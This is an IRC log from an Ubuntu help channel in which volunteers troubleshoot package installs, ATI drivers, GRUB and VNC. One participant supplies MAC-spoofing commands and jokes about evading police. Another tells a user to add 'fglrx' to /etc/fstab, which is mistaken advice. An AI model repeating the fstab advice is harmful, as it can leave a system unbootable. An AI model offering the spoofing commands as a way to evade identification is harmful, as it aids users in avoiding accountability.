[04:00] <ajisin> i m unable to inatall .rpm files in my sytem, cajn anybody help me plz
[04:00] <praet> zetheroo: backup /etc/X11/xorg.conf  and then run dpkg-reconfigure xorg-server
[04:00] <Pici> Floating: Try `sudo -k` and if that doesnt work `sudo -K`
[04:01] <crowjake> oh, the fat 32, is a new one for sharing files, i leave that as it is
[04:01] <nb_au> ajisin: use alien to convert them to deb format, rpm is nto supported by ubuntu
[04:01] <ajisin> i m unable to inatall .rpm files in my sytem, cajn anybody help me plz
[04:01] <ajisin> plz help......
[04:01] <praet> demolitio: on vista its probably c:\Username\Application Data\Thunderbird
[04:01] <Pici> ajisin: Ubuntu does not use rpm files.
[04:01] <dgjones> !rpm | ajisin
[04:01] <ubotu> ajisin: RPM is the RedHat Package Management system. Ubuntu uses !APT, not RPM. RPM packages are not supported (the package "alien" can allow installing them, but it's quite dangerous)
[04:01] <zetheroo> i can't use the opensource drivers like ati and radeon
[04:01] <jrib> ajisin: what are you trying to install exactly?
[04:01] <zetheroo> all I can use is fglrx
[04:01] <praet> ajisin: rpm is redhat packages. you need deb files
[04:01] <ompaul> !components | ajisin
[04:02] <praet> ajisin: there is a likelyhood that there are already packages for the app you are trying to install
[04:02] <ubotu> ajisin: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[04:02] <Jowi> ajisin, to be more precise. you should only download .deb files for ubuntu and the version of ubuntu you're using.
[04:02] <praet> ompaul: wow you know the depths of that bot :)
[04:02] <zetheroo> I installed the restricted drivers (fglrx) and rebooted... but still had the Mesa output
[04:02] <nb_au> Jowi: and architecture :P
[04:02] <zetheroo> then I uninstalled them and reinstalled them and still Mesa
[04:02] <ajisin> m trying to install 'yahoo messenger' & 'download messenger' both r in .rpm formats (but one file got installed wid .rpm extension b4)
[04:02] <praet> zetheroo: backup /etc/X11/xorg.conf  and then run dpkg-reconfigure xorg-server  <<
[04:02] <ompaul> praet, I put a lot of those factoids in there or helped with them at some stage :)
[04:02] <nb_au> zetheroo: what card?
[04:03] <SeveredCross> zetheroo: Is it enabled in Restricted Managegr?
[04:03] <SeveredCross> *Manager
[04:03] <zetheroo> yes
[04:03] <Jowi> nb_au, :)
[04:03] <zetheroo> X1400
[04:03] <zetheroo> ATI
[04:03] <DevideZero> praet , i have problems with this , the is somthing Graphical that return the md5sums ?
[04:03] <zetheroo> Radeon Mobility
[04:03] <praet> DevideZero: yes there is. just a sec.
[04:03] <zetheroo>  dpkg-reconfigure xorg-server what then?
[04:03] <ajisin> m trying to install 'yahoo messenger' & 'download messenger' both r in .rpm formats (but one file got installed wid .rpm extension b4)
[04:03] <ajisin> wt say....
[04:03] <praet> DevideZero: try: http://www.toast442.org/md5/md5.exe
[04:04] <nb_au> ajisin: RPMs dont work
[04:04] <nb_au> alien is very risky
[04:04] <GuHHH> zetheroo: choose ati driver
[04:04] <nb_au> find some debs
[04:04] <zetheroo> ati driver does not work with my card
[04:04] <zetheroo> its open source
[04:04] <zetheroo> I have to use the fglrx
[04:04] <crowjake> hooray it's all installing and reformatting, ubuntu here I come
[04:04] <ajisin> @nb_au okies................
[04:04] <jrib> ajisin: you can use gaim instead of yahoo messenger, it should already be installed under Applications -> Internet
[04:05] <zetheroo> my xorg file says I am using the fglrx file .... but I am not
[04:05] <GuHHH> zetheroo: and its not working, or what?
[04:05] <ajisin> @jrib yeah gaim is der
[04:05] <GuHHH> zetheroo: no, no... you mean because it shows mesa?
[04:05] <CyD_> hi, i have a problem with brasero, i made an image disk, but when i want to burn it it say 100% done after 1 sec, the cdrom still blank, any idea ?
[04:05] <zetheroo> its working.... but with the vesa drivers
[04:05] <Jowi> zetheroo, have you had a look at the ATI driver install page?
[04:05] <Jowi> !ati | zetheroo
[04:05] <ubotu> zetheroo: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[04:05] <GuHHH> zetheroo: you want 3d acceleration?
[04:05] <screenname92834> hi folks
[04:05] <zetheroo> I tried all that
[04:06] <r2r4> yeah , we need more installing and reformatting engineer crowjake
[04:06] <nb_au> CyD_:  try as root see if it works then
[04:06] <CyD_> ok
[04:06] <rgl> bla.  I give up... even disabling sleep and hibernate in /etc/default/acpi-support does not disable anything... POS :(
[04:06] <screenname92834> folks I have a linking problem on my ubuntu box. Can anyone help?
[04:06] <ajisin> and i also wnt to knw. is ubuntu also hving network connection indicators like windows os wid those blinking icojns telling network conditions..................?
[04:06] <GuHHH> zetheroo: whats the problem? you want it to run direct rendering?
[04:06] <crowjake> :):)
[04:06] <nb_au> screenname92834: shoot
[04:06] <screenname92834> nb_au: ho ho
[04:06] <zetheroo> this is what it shows in my xorg file:
[04:06] <zetheroo> Section "Device"
[04:06] <zetheroo>  Identifier "Generic Video Card"
[04:06] <zetheroo>  Driver  "fglrx"
[04:06] <zetheroo>  Busid  "PCI:1:0:0"
[04:06] <zetheroo> EndSection
[04:06] <nb_au> ajisin: yes
[04:06] <ajisin> @nb_au .......how?
[04:07] <screenname92834> nb_au: ok well I just installed a debian package and it put the library in /usr/lib
[04:07] <nb_au> ajisin: what do u mean
[04:07] <zetheroo> but then I get this:
[04:07] <zetheroo> zeth@T60-Ubuntu:/etc/X11$ glxinfo |grep direct
[04:07] <zetheroo> direct rendering: No
[04:07] <zetheroo> OpenGL renderer string: Mesa GLX Indirect
[04:07] <Pici> !paste
[04:07] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[04:07] <nb_au> zetheroo: you need newer drivers then whats provided by the looks
[04:07] <ajisin> and i also wnt to knw. is ubuntu also hving network connection indicators like windows os wid those blinking icojns telling network conditions..................?
[04:07] <pike_> ajisin: i imagine there is a applet for that you can add em to your 'taskbar' with a right-click on it and select add. course ya gotta install it first using package manager
[04:07] <screenname92834> nb_au: and the problem is that it's called libblah1_31.so.1.31
[04:07] <Jowi> zetheroo, do you have a DRI section in xorg.conf?
[04:07] <screenname92834> nb_au:
[04:07] <nb_au> screenname92834: whys that a prob?
[04:08] <ajisin> @pike_ ok let me try nw..........
[04:08] <screenname92834> nb_au: I found I had to rename the thing in order to link to it
[04:08] <zetheroo> nb_au : and i tried the latest ATI drivers from the web
[04:08] <screenname92834> nb_au: why?
[04:08] <nb_au> ahhh
[04:08] <zetheroo> my DRI is false
[04:08] <nb_au> zetheroo: and still no go?
[04:08] <zetheroo> no go
[04:08] <nb_au> whats your mobo?
[04:08] <Jowi> zetheroo, hat was not what I asked.
[04:08] <zetheroo> MESA
[04:08] <Jowi> s/hat/THAT/ :)
[04:08] <demolitio> Praet: here's an interesting problem... I try to navigate to ~/.thunderbird in File Browser, but it tells me that it doesn't exist... but when I try to use mkdir in terminal to make one, it tells me it can't because the folder does exist?
[04:08] <nb_au> screenname92834: keep goin misunderstood
[04:08] <zetheroo> Section "DRI"
[04:08] <zetheroo>  Mode 0666
[04:08] <zetheroo> EndSection
[04:09] <zetheroo> Section "DRI"
[04:09] <zetheroo>  Mode 0666
[04:09] <zetheroo> EndSection
[04:09] <zetheroo> Section "Extensions"
[04:09] <zetheroo>  Option  "Composite" "false"
[04:09] <zetheroo> EndSection
[04:09] <nb_au> zetheroo: what kind of motherboard do u have
[04:09] <jrib> !paste | zetheroo
[04:09] <dgjones> !paste | zetheroo
[04:09] <ubotu> zetheroo: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[04:09] <ajisin> alot thanx man i added n its wrking wow! gr8 thx again!
[04:09] <Jowi> v good zetheroo. no need to repeat
[04:09] <screenname92834> nb_au: why do I have to rename a library in order to link to it?
[04:09] <demolitio> Praet: guess I'll have to delete the folder :P
[04:09] <CyD_> nb_au, as root , the problem persist with brasero
[04:09] <Floating> in https://help.ubuntu.com/community/BinaryDriverHowto/ATI  when done with the instructions for 7.04 i continue using the edgy too if my X wont load right?
[04:10] <nb_au> screenname92834: i guess its likely looking for a different version, does the same thing, just different name
[04:10] <BeKo> ist jemand da wo deutsch sprichtz
[04:10] <screenname92834> nb_au: no there's something else
[04:10] <dgjones> !de | BeKo
[04:10] <ubotu> BeKo: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de
[04:10] <cfreeze> ciao
[04:10] <screenname92834> Is there a channel devoted to programming?
[04:10] <BeKo> #ubuntu-de
[04:10] <nb_au> CyD_: hmmm well its not an access rights issue, im afraid i cant help, maybe try another burning prog
[04:11] <Jowi> BeKo, /join #ubuntu-de
[04:11] <BeKo> thx
[04:11] <jrib> screenname92834: what language?
[04:11] <ompaul> BeKo, /join #ubuntu-de
[04:11] <ajisin> anybody know how to change 'Mac' address in ubuntu.............?
[04:11] <screenname92834> jrib: C++
[04:11] <jrib> screenname92834: ##c++
[04:11] <screenname92834> jrib: is there one for boost?
[04:11] <genii> ajisin: The mac address of a network adapter cannot be changed.
[04:11] <nb_au> ajisin: no, its a unique identifier
[04:12] <pike_> ajisin: ifconfig eth0 hw ether 00:00:00:00:00
[04:12] <jrib> screenname92834: I don't know, try asking in ##c++ :)
[04:12] <Pici> genii: Yes it can.
[04:12] <Jowi> !info macchanger
[04:12] <pike_> ajisin: sudo
[04:12] <ubotu> macchanger: utility for manipulating the MAC address of network interfaces. In component universe, is extra. Version 1.5.0-1 (feisty), package size 85 kB, installed size 320 kB
[04:12] <slavik> anyone ever work/setup iscsi target/initiators?
[04:13] <ajisin> @genii , it can b changed i daily change it on windows xp....
[04:13] <genii> Pici: I learn something new every day. Must use some cached new mac to send since the physical one is permanent
[04:13] <nb_au> ajisin: why?
[04:13] <nb_au> lol
[04:13] <pike_> remember! keep the fuzz guessing always rotate your mac
[04:13] <Jowi> genii, not changed, but spoofed
[04:13] <CyD_> nb_au, i tryed in comand line and it is working
[04:13] <ajisin> @pike lit'll surely work?
[04:13] <pike_> ajisin: yeah
[04:13] <genii> Jowi: Ah OK
[04:13] <CyD_> probably a problem with brasero
[04:13] <Jowi> genii, so you're right :)
[04:13] <ajisin> jst for sm tricks @nb_au
[04:13] <CyD_> thanks
[04:14] <nb_au> CyD_: no porbs
[04:14] <ajisin> dat command is ok but wts dat 'sudo'....@pike_
[04:14] <Pici> genii: Its useful for stupid server type programs that tie themselves to your mac address.
[04:14] <pike_> ajisin: just prefface the command with sudo since it needs root to do that. i forgot and left it off
[04:14] <nb_au> ajisin: sm tricks? lol, i have no idea... *needs to keep up to date*
[04:14] <genii> Pici: I guess like the "clone mac" some routers have for utility
[04:14] <Jowi> genii, even some dsl-routers support spoofing MAC address.
[04:15] <ajisin> @nb_au k.........
[04:15] <Jowi> genii, there you go
[04:15] <Al-Khouli> hi all , i am facing a problem when i am trying to boot from ubuntu's liveCD : /bin/sh: can't access tty; job control turned off , can anyone help me out ?
[04:15] <pike_> ajisin: something like sudo ifconfig eth1 down; sudo ifconfig eth1 hw ether 00:00:00:00; sudo ifconfig eth1 up; dhclient eth1   or just sudo ifup eth1 instead of last 2
[04:15] <nb_au> Al-Khouli: it say anything else?
[04:16] <Al-Khouli> nope
[04:16] <pike_> Al-Khouli: ive seen that discussed alot in forums
[04:16] <mc44> Al-Khouli: feisty? there are a couple of kernel problems that cause that
[04:16] <nb_au> before or after the disk menu
[04:16] <ajisin> @pike_ ok.....
[04:16] <Al-Khouli> after the disk menu
[04:16] <Jowi> Al-Khouli, https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/96084
[04:16] <nb_au> Al-Khouli: mc44 seems to know whats goin on, ill leave you to him
[04:17] <zetheroo> is it possible that my graphics are being driven from another file other than my xorg.conf file?
[04:17] <ajisin> redhat is better den ubuntu linux? shld i install redhat?
[04:18] <dooglus> dey r much da same
[04:18] <Al-Khouli> mc44: yes it's fesity
[04:18] <Pici> ajisin: You aren't going to get an unbiased answer here
[04:18] <nb_au> :P
[04:18] <ajisin> bt sm ppl said redhat cmes wid many s/w packages
[04:18] <Chousuke> stop mutilating the English language :/
[04:18] <bastid_raZor> 'heh
[04:18] <nb_au> ajisin: all the major distros do
[04:18] <zetheroo> ls
[04:18] <pike_> ajisin: redhat is a bit of a headache. package managment does not equal the debian distros like ubuntu
[04:18] <bastid_raZor> redhat better no den ubuntu
[04:18] <Chousuke> ajisin: ubuntu has about 20000
[04:19] <dooglus> righting write iz 4 idyuts
[04:19] <Chousuke> ghhtrfghja
[04:19] <Chousuke> please.
[04:19] <mc44> Al-Khouli: there are various bugs which cause the same end result so it's hard to say. You might want to try upgrading from edgy, or using gutsy, as the bugs should have been fixed
[04:19] <zetheroo> is it possible that my graphics are being driven from another file other than my xorg.conf file?
[04:19] <Chousuke> zetheroo: yes, but not likely.
[04:19] <ajisin> thnx buddies ;)
[04:19] <zetheroo> well my xorg file is completely blank
[04:19] <nb_au> zetheroo: rofl
[04:19] <zetheroo> and here I am in GDE
[04:20] <Troy23> hey everyone
[04:20] <kyled> how do i install kde desktop? i searched the forum and couldnt find it
[04:20] <Al-Khouli> mc44: hmmm , that needs work :) , i will c , thank u anyweys
[04:20] <nb_au> kyled: search the wiki
[04:20] <pike_> zetheroo: you can do a X -config or Xorg -config  to generate one then move it to /etc/X11/ dir i forget which command it is
[04:20] <Pici> kyled: install kubuntu-desktop
[04:20] <Yacho> hey
[04:20] <mc44> Al-Khouli: well, the problem is the bugs have mostly been fixed in feisty, but not on the install CD :)
[04:20] <dgjones> pike_, they've gone
[04:20] <Yacho> anyone use vmware for ubuntu?
[04:20] <Jowi> Al-Khouli, actually I find a whole lot of bugs describing that error: http://www.google.co.uk/search?hl=en&q=ubuntu+%2Fbin%2Fsh%3A+can%27t+access+tty%3B+job+control+turned+off+site%3Abugs.launchpad.net&btnG=Search&meta=
[04:20] <kyled> thanks
[04:21] <pike_> kyled: youll be able to choose between em by clicking sessions button at login
[04:21] <Chousuke> zerwas: if your xorg.conf is blank, X will autodetect values
[04:21] <Chousuke> er
[04:21] <zerwas> Chousuke, i know :D
[04:21] <Geek_> Yacho: guest or hist?
[04:21] <Geek_> host
[04:21] <Chousuke> that was fro zetheroo
[04:21] <Chousuke> did he leavE? :P
[04:21] <ajisin> one more help! i installed 'limewire' it got instaleed too but nw when i open it it's windows getting open but nthing displaying!
[04:21] <dgjones> yep
[04:21] <zerwas> Chousuke, no problem ;-)
[04:21] <Yachi> ubuntu in vmware on vista
[04:21] <Al-Khouli> mc44:  getting the last version might help ?
[04:21] <Yachi> i cant get it networked
[04:21] <zerwas> Chousuke, looks like that...
[04:21] <Al-Khouli> Jowi: that's messy !
[04:22] <Troy23> i did "sudo apt-get install ubuntu-desktop" then gdm and i reconfigured x but when i boot i get an error that says "fatal error caught signal 11" or somethin like that
[04:22] <Jowi> Al-Khouli, yeah. perhaps should refine the search a bit. which version of ubuntu are you testing?
[04:22] <mc44> Al-Khouli: if you get that, then upgrade to feisty you end up with the newest kernel which should work
[04:22] <nb_au> ajisin: native for linux or using wine?
[04:22] <kyled> pike_,  install: missing destination file operand after `kubuntu-desktop'
[04:22] <kyled> Try `install --help' for more information.
[04:22] <kyled> thats what it says
[04:23] <Al-Khouli> Jowi: Ubuntu 7.04 feisty fawn
[04:23] <ajisin> @nb_au cant understand u........plz b clear
[04:23] <nb_au> ajisin: the windows or linux version?
[04:23] <Al-Khouli> mc44: the problem is that i am having MS vista over here , and i read that 7.04 version can detect it
[04:23] <pike_> kyled: thats whatn sudo apt-get install kubuntu-desktop says?
[04:23] <[miles] > afternoon #ubuntu  .... is anyone running a vanilla kernel?
[04:24] <ajisin> @nb_au- i said i installed it too so obviously linux one
[04:24] <Floating> has the 7.10 version ATI support in it yet?
[04:24] <Some_ux> does anyone here use webmin ?
[04:24] <ubuntu_> hello all
[04:24] <Yachi> i do
[04:24] <nb_au> ajisin: it could have been the windows version using wine :P
[04:24] <ubuntu_> I got a question
[04:24] <kyled> sorry pike_ didnt do apt-get
[04:24] <nb_au> but yeah cant help if it is the linux version
[04:24] <kyled> that worked thanks a lot!
[04:24] <Some_ux> ok, how do i tell webmin to display my cpu temperature ?
[04:24] <mc44> Floating: what do you mean by ATI support?
[04:24] <ubuntu_> How do I install my live ubuntu to my hard disk?
[04:25] <SlimeyPete> ubuntu_: click on the installer (on the desktop)
[04:25] <nb_au> Floating: they all have ati support, and that card should work
[04:25] <Floating> mc44: i got a ati hd2400 xt mobility and cant seem to get it working with x
[04:25] <ubuntu_> it stops when they ask for keyboard
[04:25] <Floating> on 7.04
[04:25] <ubuntu_> And now it doesn't start anymore
[04:25] <Jowi> Al-Khouli, https://bugs.launchpad.net/ubuntu/+bug/99757 (with a possible solution posted there). it seems that some people also had success with the alternate cd.
[04:25] <ubuntu_> so, Is there another way to install it?
[04:25] <nb_au> Floating: yes on 7.04
[04:25] <mc44> Floating: ah, that needs the newest ATI drivers, but they aren't in gutsy yet either
[04:26] <Floating> ok
[04:26] <dgjones> !alternate | ubuntu_
[04:26] <ubotu> ubuntu_: The Alternate CD (available as of Dapper) is the classical text-mode installation CD. Use it if you wish to upgrade via CD, or for an "expert" mode install. For normal installs, use the Desktop CD, which is also a "Live" CD - See also !Minimal
[04:26] <SlimeyPete> ubuntu_: yes. You can use the alternate CD from the ubuntu website.
[04:26] <nb_au> Floating: its more a problem of ATI having bad linux support, tho that should be fixed shortly
[04:26] <mc44> Floating: try manually installing them from the ATI download
[04:26] <SlimeyPete> ubuntu_: the alternate CD has a different installer
[04:26] <Floating> can i install the newest drivers in a smart way rather easy by downloading them from ubuntu machine?
[04:26] <ikonia> Floating its easy to fix an installed installtion, than the live cd installer
[04:26] <ubuntu_> SlimeyPete... so what do I have to do?
[04:26] <nb_au> mc44: try the envy script... though others here will warn against
[04:26] <Jowi> Al-Khouli, https://bugs.launchpad.net/ubuntu/+bug/75135 (also with possible solution by Christian Convey)
[04:27] <ikonia> !ati >mc44
[04:27] <nb_au> ooop
[04:27] <mc44> nb_au: I doubt envy has the new ati drivers yet either. no you shouldn't
[04:27] <SlimeyPete> ubuntu_: go to the ubuntu website, download the ubuntu alternate install CD, burn it to a disc and then boot from it just like you did with your livecd
[04:27] <mc44> ikonia: ...?
[04:27] <ubuntu_> :(
[04:27] <adac> anyonone has vncserver running with xfce?
[04:27] <ikonia> mc44 just pm'd you a link with ati info
[04:27] <ajisin> @nb_au no i installed it in ubuntu linux only
[04:27] <nb_au> mc44: i meant thnat for floating but yeah ur right :P
[04:27] <ubuntu_> I hate that :(
[04:27] <mc44> ikonia: yes, except I didn't ask about them, and that link isn't any use for the newest ati drivers. but heyho :P
[04:27] <pike_> adac: sure
[04:27] <ubuntu_> bye all...
[04:28] <nb_au> ajisin: you can run windows programs using a special program, i was just making sure u werent using that :)
[04:28] <ubuntu_> again one hour waiting for downloading -.-
[04:28] <Floating> is my solution here: http://ubuntuforums.org/showthread.php?p=3353909 ?
[04:28] <nb_au> whens the beta out people?
[04:28] <zetheroo> would someone please help me.....
[04:28] <nb_au> for gutsy
[04:28] <mc44> nb_au: later this month, in theory
[04:28] <Troy23> i am having a similar problem as ubuntu_, but i am using a gnome live cd and i dunno how to save it to my hd
[04:29] <nb_au> zetheroo: until the new drivers are released, youll be stuck with 2d functionality only
[04:29] <zetheroo> how can my xorg file say I am using the fglrx driver? when all I see is Mesa?
[04:29] <adac> pike_: do you have a good tutorial in mind?
[04:29] <pike_> adac: bascially you can create a file with gedit in ~/.vnc/xstartup that says startxfce4  or somesuch. typically the file is made executable i think youcan do that with a chmod +x ~/.vnc/xstartup
[04:29] <zetheroo> so fglrx does not support my card?
[04:29] <clip> how do i live vim again?!
[04:29] <clip> leave
[04:29] <zetheroo> but it as working before
[04:29] <zetheroo> it was working well
[04:29] <nb_au> oh
[04:29] <nb_au> lol
[04:29] <zetheroo> and then its not
[04:30] <ajisin> @nb_au no m nt using any like dt
[04:30] <adac> pike_: I will try that
[04:30] <whasayu> clip, :q
[04:30] <Frogzoo> clip: :q! or :wq depending
[04:30] <Chousuke> ajisin: please, buy some vowels or something
[04:30] <pike_> adac: you may need to create the xstartup file.  after that just vncpasswd to set vnc password and then vncserver or vnc4server whichever ya installed to run it and you shoul dbe able to connec
[04:30] <ajisin> any kinda prog like dt exist from which v can use windows s/w on ubuntu?
[04:30] <zetheroo> what if my graphics are being run from another config file than xorg?
[04:30] <Chousuke> ajisin: that's really annoying to try to decipher.
[04:30] <ajisin> @chousuke wt?
[04:30] <ikonia> zetheroo they are not
[04:31] <nb_au> ajisin: yes, WINE, but its not a perfect solution
[04:31] <zetheroo> but it makes no sense
[04:31] <Frogzoo> zetheroo: feisty?
[04:31] <zetheroo> yes
[04:31] <pike_> adac: bear in mind vnc is not secure and people can attempt to brute force it so use a good password if its exposed to the interweb
[04:31] <Geek_> ajisin: wine does some, else you can run windows in VMware, QEMU or virtualbox
[04:31] <Chousuke> urgh
[04:31] <Frogzoo> zetheroo: you've added fglrx to /etc/modules ?
[04:31] <lostallhope> anyone got experience with ATI and or WINE ?
[04:31] <ajisin> @nb_au which prog. frm where i cn dload it?
[04:31] <ajisin> k......
[04:31] <zetheroo> Frogzoo: sorry?
[04:31] <hadrielmac> ati+wine= shit
[04:31] <nb_au> ajisin: www.winehq.com follow the links :)
[04:31] <hadrielmac> no GLSL, no FBO
[04:31] <Chousuke> heh :/
[04:32] <hadrielmac> so most of 3D apps does not work
[04:32] <ajisin> okies @nb_au ;p
[04:32] <Chousuke> hadrielmac: wait a few months! They'll be making new drivers
[04:32] <arturo_on_rails> Hi guys, The UBUNTU kernel has a driver for the NETGEAR WG511 that is native.  AFAIK, this driver was in the linville's wireless branch.  How can I get the sources for this driver?
[04:32] <lostallhope> but it used to work
[04:32] <ajisin> :p
[04:32] <Frogzoo> zetheroo: edit /etc/fstab - add a line "fglrx" without the quotes
[04:32] <Jowi> zetheroo, I'm not recommending this but want you to know that it is available: !envy
[04:32] <Frogzoo> zetheroo: reboot & try again
[04:32] <Chousuke> I wonder if there will be open ati drivers in Heron already :/
[04:32] <Hadeshorn> !ati
[04:32] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[04:32] <Frogzoo> Jowi: envy is for nvidia, not ati
[04:32] <Hadeshorn> thank you
[04:33] <nb_au> Frogzoo: it does both
[04:33] <nb_au> has for a while
[04:33] <lostallhope> do you guys know how to fix the XFREE86-dri missing error ?
[04:33] <Jowi> Frogzoo, x1400 is ati, doh!
[04:33] <Frogzoo> nb_au: ah, k
[04:33] <ikonia> lostallhope xfree ?
[04:33] <Jopie> I've got a brand new Ubuntu Server install - while installing a package it complained it couldn't find a c compiler - so I apt-get-ed gcc, but now it says "C Compiler cannot make excecutables" - what else do I need?
[04:33] <lostallhope> yes iko
[04:33] <Frogzoo> Jowi: install build-essential
[04:33] <Some_ux> nm, i'll just run the CLI commands in webmin
[04:33] <ikonia> lostallhope why are you using xfree ?
[04:33] <lostallhope> i'm jsut getting that :(
[04:34] <Jowi> Jopie, what Frogzoo told me was for you
[04:34] <lostallhope> says xlib:extension XFree86-DRI missing
[04:34] <ajisin> window sux?
[04:34] <lostallhope> direct rendering:no
[04:34] <Frogzoo> Jowi: soz
[04:34] <Jopie> yeah, I figured :) once you said it - it rung a bell :)
[04:34] <xerxe_> hello guys
[04:34] <zetheroo> Frogzoo: I'll let you know what happens
[04:34] <lostallhope> currently in XGL mode with beryl
[04:34] <xerxe_> cant get my x1300 ati radeon to work on 1280x1024
[04:34] <xerxe_> stuck on 1024x768
[04:35] <xerxe_> out of ideas
[04:35] <nb_au> rofl, another ati prob :P
[04:35] <xerxe_> please help
[04:35] <nb_au> xerxe_ u need to reconfig xorg
[04:35] <Frogzoo> xerxe_: you have a modeline for 1280x1024 ?
[04:35] <lostallhope> ati cards are a pain
[04:35] <nb_au> uve set it not to use that res
[04:35] <xerxe_> freshly new ubuntu 7.04 instalation
[04:35] <Frogzoo> xerxe_: run "sudo dpkg-reconfigure xserver-xorg"
[04:35] <adac> pike_:only intranet, so it should be ok!
[04:35] <pequatre> hi
[04:36] <kyled> is it possible to make windows the first option to boot under grub instead of ubuntu?
[04:36] <adac> pike_: from the outside i use ssh -X
[04:36] <SlimeyPete> kyled: yes. You need to edit /boot/grub/menu.lst
[04:36] <PgL|Neocid> praet still here ?
[04:36] <Frogzoo> kyled: 'default' option in /boot/grub/menu.lst, then 'sudo update-grub'
[04:36] <vader1102> kyled, it is, go to the wiki and see how to edit the grub.conf
[04:36] <vader1102> sorry I will hush now
[04:36] <nb_au> now why would anyone wants windows first :P
[04:37] <pike_> adac: im usually too lazy and just use vnc not even over ssh. but im planning on setting up xcygwin on work windows box so i can ssh forward
[04:37] <demolitio> PgL|Neocid: I don't think he is....
[04:38] <Troy23> does any1 know how to see wat kind of video card you have???
[04:38] <PgL|Neocid> I need help installing my Wifi card device. I have installed the driver thanks to ndiswrapper but when I type "iwconfig" in terminal it returns me no wlan0 or nothing with wireless
[04:38] <Frogzoo> Troy23: sudo lspci
[04:38] <pike_> kyled: if you break it dont panic its easy to fix
[04:38] <nb_au> troy23: lspci
[04:38] <nb_au> troy, heres an example: 01:00.0 VGA compatible controller: ATI Technologies Inc RV350 AQ [Radeon 9600] 
[04:39] <lostallhope> anyone know how t ofix the Direct rendering no. while in XGL mode on an ati mobility card ?
[04:39] <Troy23> alright thanx
[04:39] <Troy23> ill try it out
[04:39] <rafaelscj> how can I know if my bluetooh adapter is working?
[04:39] <Frogzoo> lostallhope: you can't, that's just how XGL is
[04:39] <lostallhope> Lame
[04:39] <lostallhope> :(
[04:39] <nb_au> rafaelscj: test it :P
[04:40] <zetheroo> Frogzoo: still nothing
[04:40] <Frogzoo> lostallhope: beryl's not all that
[04:40] <kkathman> Does anyone know of a news aggregator that allows you to build a "list" of topics (say business names) and then retrieves all articles about those topics?
[04:40] <Frogzoo> zetheroo: grep EE /var/log/Xorg.0.log
[04:40] <lostallhope> i kinda like beryl
[04:40] <adac> pike_: try out Xming ...I use that from windows: its really great!
[04:40] <rafaelscj> nb_au, with what app?
[04:40] <lostallhope> the nice eye candy
[04:40] <lostallhope> or is their something better on the market ?
[04:40] <mc44> kkathman: you can do feeds of google news searches, if thats what you mean
[04:40] <demolitio> lol i've still to figure out why my beryl isn't working but then again, it could be due to my ATI card troubles :p
[04:40] <nb_au> rafaelscj: no idea, search add/remove or synaptic for one that will work :)
[04:41] <kyled> pike_, i think ill have to wait to do it. the doc put me on this medicine xanax for stress and i dont know what the heck im doing. i keep getting confused
[04:41] <zetheroo> Frogzoo: whats that supposed to do?
[04:41] <lostallhope> demo beryl only works in XGL
[04:41] <rafaelscj> nb_au, and how about lspci ... ?
[04:41] <kyled> should i just google grub wiki?
[04:41] <lostallhope> when you got an ati card
[04:41] <Frogzoo> zetheroo: it will report any X errors
[04:41] <nb_au> rafaelscj: your adapter should be listed if its apci device
[04:41] <kkathman> mc44 well feedster allows you to enter a "topic" but what I want is an application that I can put a list of businesses in and have the news aggregator bring me back recent news about those companies
[04:41] <pike_> kyled: eh just 1) sudo cp /boot/grub/menu.lst /boot/grub/menu.lst-backup  then gksudo gedit /boot/grub/menu.lst
[04:42] <zetheroo> Frogzoo: zeth@T60-Ubuntu:/etc/X11$ grep EE /var/log/Xorg.0.log (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (II) Loading extension MIT-SCREEN-SAVER (EE) fglrx(0): incompatible kernel module detected - HW accelerated OpenGL will not work (EE) AIGLX: Screen 0 is not DRI capable (EE) xf86OpenSerial: Cannot open device /dev/input/wacom (EE) xf86OpenSerial: Cannot open device /dev/input/wacom (EE) xf86OpenSerial: Cannot ope
[04:42] <rafaelscj> nb_au, thanks
[04:42] <nb_au> rafaelscj: it probably isnt, though so yeah :P
[04:42] <ajisin> anybody here earning money on internet?
[04:42] <pike_> kyled: its pretty obvious just cut/paste windows to the top entry
[04:42] <kyled> pike_, should i just cut the windows boot portion and paste it above the ubuntu list
[04:42] <pike_> kyled: thats it
[04:42] <Frogzoo> zetheroo: doesn't seem your fglrx matches your current kernel - did you update fglrx ?
[04:42] <zetheroo> I dunno
[04:43] <Poz> but it want record my sound
[04:43] <Frogzoo> !fglrx | zetheroo
[04:43] <ubotu> zetheroo: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[04:43] <pike_> kyled: whiil your at it put a cool grub splash screen and stuff :)
[04:43] <zetheroo> Frogzoo: is there a way to uninstall any and all fglrx drivers and thn reinstall them?
[04:43] <Yachi> BAHHHHHHHHHHHHHHHHHHHH
[04:43] <Poz> hey i am on skype and im trygn to use the headset to talk and it want pick up my sound
[04:43] <Frogzoo> zetheroo: see the doc ubotu posted ^^
[04:44] <pike_> kyled: my comp comes up with an fbi sigil at bootup.  :)
[04:44] <nb_au> Poz: doubleclick on the speaker icon on ur taskbar, and look in there pretty self explanaotry
[04:44] <kyled> pike_, what do you mean? i think id be up to that later but right now im loopy id hate to kill this comp
[04:44] <zetheroo> Frogzoo: I did all that stuff
[04:44] <slavik> I installed a package with source code for a kernel module, how do I build it?
[04:44] <codeane__> imap mail server setup 7.04 server?
[04:44] <gerro> mb_au: it so is a perfect solution
[04:44] <gilles> hello I try to install the proprietary drivers nvidia, but I have this message in the Xor.0.log "Failed to load the NVIDIA kernel module!"
[04:44] <kyled> sometimes on these stress pills you forget what you do and all that
[04:44] <nb_au> gerro: what is?
[04:44] <Frogzoo> zetheroo: apparently not
[04:44] <gilles> anyone can help me
[04:45] <speaker219> ] /join ##windows
[04:45] <Poz> bt the mic want work
